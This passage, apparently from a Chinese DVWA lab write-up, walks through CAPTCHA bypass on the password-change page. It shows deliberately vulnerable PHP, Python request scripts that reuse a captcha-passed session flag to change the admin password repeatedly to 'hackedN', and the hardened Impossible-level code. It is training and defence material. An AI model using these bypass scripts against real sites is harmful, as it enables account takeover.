class="line">&#125;</span><br><span class="line"></span><br><span class="line">response = requests.post(url, data=data, cookies=cookies)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="string">&#x27;Password Changed&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[+] 绕过成功！密码已修改&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;[-] 绕过失败&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用SESSION存储验证状态，更安全但仍可绕过。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) &amp;&amp; ( <span class="variable">$_POST</span>[ <span class="string">&#x27;step&#x27;</span> ] == <span class="string">&#x27;1&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 显示reCAPTCHA</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string">        &lt;form action=\&quot;#\&quot; method=\&quot;POST\&quot;&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;step\&quot; value=\&quot;2\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_new\&quot; value=\&quot;<span class="subst">&#123;$pass_new&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_conf\&quot; value=\&quot;<span class="subst">&#123;$pass_conf&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;div class=\&quot;g-recaptcha\&quot; data-sitekey=\&quot;6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yEo\&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="string">            &lt;br /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;submit\&quot; name=\&quot;Change\&quot; value=\&quot;Change\&quot; /&gt;</span></span><br><span class="line"><span class="string">        &lt;/form&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) &amp;&amp; ( <span class="variable">$_POST</span>[ <span class="string">&#x27;step&#x27;</span> ] == <span class="string">&#x27;2&#x27;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证reCAPTCHA</span></span><br><span class="line">        <span class="variable">$recaptcha</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;g-recaptcha-response&#x27;</span> ];</span><br><span class="line">        <span class="variable">$response</span> = <span class="title function_ invoke__">file_get_contents</span>(</span><br><span class="line">            <span class="string">&#x27;https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&amp;response=&#x27;</span> . <span class="variable">$recaptcha</span> . <span class="string">&#x27;&amp;remoteip=&#x27;</span> . <span class="variable">$_SERVER</span>[ <span class="string">&#x27;REMOTE_ADDR&#x27;</span> ]</span><br><span class="line">        );</span><br><span class="line">        <span class="variable">$response</span> = <span class="title function_ invoke__">json_decode</span>( <span class="variable">$response</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 改进：使用SESSION存储验证状态 ★★★</span></span><br><span class="line">        <span class="comment">// $_SESSION - 服务器端会话变量</span></span><br><span class="line">        <span class="comment">// 存储在服务器，客户端无法直接修改</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$response</span>-&gt;success ) &#123;</span><br><span class="line">            <span class="variable">$_SESSION</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="variable">$_SESSION</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 检查SESSION中的验证状态 ★★★</span></span><br><span class="line">    <span class="comment">// 比Medium更安全，因为SESSION在服务器端</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$_SESSION</span>[ <span class="string">&#x27;passed_captcha&#x27;</span> ] ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 修改密码</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Password Changed.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 问题：修改密码后不清除SESSION标志 ★★★</span></span><br><span class="line">        <span class="comment">// 一旦通过验证码，SESSION[&#x27;passed_captcha&#x27;]一直为true</span></span><br><span class="line">        <span class="comment">// 可以重复使用！</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;CAPTCHA verification failed!&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>使用SESSION存储</strong> - 服务器端存储，客户端无法修改</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>( <span class="variable">$response</span>-&gt;success ) &#123;</span><br><span class="line">    <span class="variable">$_SESSION</span>[<span class="string">&#x27;passed_captcha&#x27;</span>] = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改密码后，不清除SESSION标志</span></span><br><span class="line"><span class="comment">// 问题：可以重复使用！</span></span><br></pre></td></tr></table></figure><p><strong>一旦通过一次验证码，SESSION中的<code>passed_captcha</code>永久为true，可以无限次修改密码！</strong></p><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法：通过一次验证码，然后重复使用"><a href="#方法：通过一次验证码，然后重复使用" class="headerlink" title="方法：通过一次验证码，然后重复使用"></a>方法：通过一次验证码，然后重复使用</h4><p><strong>步骤：</strong></p><ol><li>正常完成一次验证码验证</li><li>SESSION中<code>passed_captcha</code>被设置为true</li><li>之后可以不断发送step&#x3D;2请求修改密码</li><li>无需再次验证验证码</li></ol><p><strong>Python脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/captcha/&quot;</span></span><br><span class="line">session = requests.Session()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第一步：登录DVWA</span></span><br><span class="line">login_url = <span class="string">&quot;http://dvwa.local/dvwa/login.php&quot;</span></span><br><span class="line">login_data = &#123;</span><br><span class="line">    <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;admin&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;password&#x27;</span>: <span class="string">&#x27;password&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Login&#x27;</span>: <span class="string">&#x27;Login&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">session.post(login_url, data=login_data)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二步：设置安全级别</span></span><br><span class="line">session.get(<span class="string">&quot;http://dvwa.local/dvwa/security.php?security=high&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第三步：手动完成一次验证码（或使用自动识别）</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] 请在浏览器中手动完成一次验证码验证&quot;</span>)</span><br><span class="line"><span class="built_in">input</span>(<span class="string">&quot;[*] 完成后按Enter继续...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 第四步：循环修改密码（无需再验证）</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    data = &#123;</span><br><span class="line">        <span class="string">&#x27;step&#x27;</span>: <span class="string">&#x27;2&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;password_new&#x27;</span>: <span class="string">f&#x27;hacked<span class="subst">&#123;i&#125;</span>&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;password_conf&#x27;</span>: <span class="string">f&#x27;hacked<span class="subst">&#123;i&#125;</span>&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;Change&#x27;</span>: <span class="string">&#x27;Change&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    response = session.post(url, data=data)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;Password Changed&#x27;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] 第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>次修改成功：hacked<span class="subst">&#123;i&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[-] 第<span class="subst">&#123;i+<span class="number">1</span>&#125;</span>次修改失败&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的CAPTCHA验证，无法绕过。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证Anti-CSRF token ★★★</span></span><br><span class="line">    <span class="comment">// checkToken() - 验证CSRF token</span></span><br><span class="line">    <span class="comment">// 防止跨站请求伪造</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：验证当前密码 ★★★</span></span><br><span class="line">    <span class="comment">// 即使绕过CAPTCHA，也需要知道当前密码</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_current&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 清理输入</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_conf</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MD5加密当前密码</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 转义</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_curr</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_new</span>  = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_conf</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_conf</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护1：验证当前密码 ★★★</span></span><br><span class="line">    <span class="comment">// 查询数据库验证当前密码是否正确</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT password FROM `users` WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27; AND password = &#x27;<span class="subst">$pass_curr</span>&#x27;;&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护2：reCAPTCHA验证 ★★★</span></span><br><span class="line">    <span class="variable">$recaptcha</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;g-recaptcha-response&#x27;</span> ];</span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">file_get_contents</span>(</span><br><span class="line">        <span class="string">&#x27;https://www.google.com/recaptcha/api/siteverify?secret=6LdK7xITAAAAABBbN0tKnxKVZSCQnLCRbFWXVnQO&amp;response=&#x27;</span> . <span class="variable">$recaptcha</span> . <span class="string">&#x27;&amp;remoteip=&#x27;</span> . <span class="variable">$_SERVER</span>[ <span class="string">&#x27;REMOTE_ADDR&#x27;</span> ]</span><br><span class="line">    );</span><br><span class="line">    <span class="variable">$response</span> = <span class="title function_ invoke__">json_decode</span>( <span class="variable">$response</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 多重验证 ★★★</span></span><br><span class="line">    <span class="comment">// 条件1：当前密码正确</span></span><br><span class="line">    <span class="comment">// 条件2：新密码和确认密码一致</span></span><br><span class="line">    <span class="comment">// 条件3：reCAPTCHA验证通过</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$result</span> &amp;&amp; ( <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) ) &amp;&amp; ( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &amp;&amp; <span class="variable">$response</span>-&gt;success ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 所有验证通过，修改密码</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="variable">$query</span>  = <span class="string">&quot;UPDATE `users` SET password = &#x27;<span class="subst">$pass_new</span>&#x27; WHERE user = &#x27;&quot;</span> . <span class="variable">$_SESSION</span>[ <span class="string">&#x27;username&#x27;</span> ] . <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">        <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Password Changed.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 验证失败（不透露具体原因，安全实践）</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Either your current password is incorrect or the reCAPTCHA was invalid.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成新的CSRF token ★★★</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>验证当前密码</strong> - 必须知道旧密码</li><li><strong>reCAPTCHA验证</strong> - 每次都验证</li><li><strong>新密码确认</strong> - 两次输入一致</li><li><strong>不泄露错误信息</strong> - 不透露失败原因</li></ol><p><strong>为什么无法绕过？</strong></p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">攻击者的困境：</span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span> 需要有效的CSRF Token ← 每次都不同</span><br><span class="line"><span class="bullet">2.</span> 需要知道当前密码 ← 攻击者不知道</span><br><span class="line"><span class="bullet">3.</span> 需要通过reCAPTCHA ← 每次都验证</span><br><span class="line"><span class="bullet">4.</span> 所有条件必须同时满足</span><br><span class="line"></span><br><span class="line">即使绕过CAPTCHA，也无法修改密码（因为不知道当前密码）</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-正确验证reCAPTCHA"><a href="#1-正确验证reCAPTCHA" class="headerlink" title="1. 正确验证reCAPTCHA"></a>1. 正确验证reCAPTCHA</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 正确的验证方式</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span 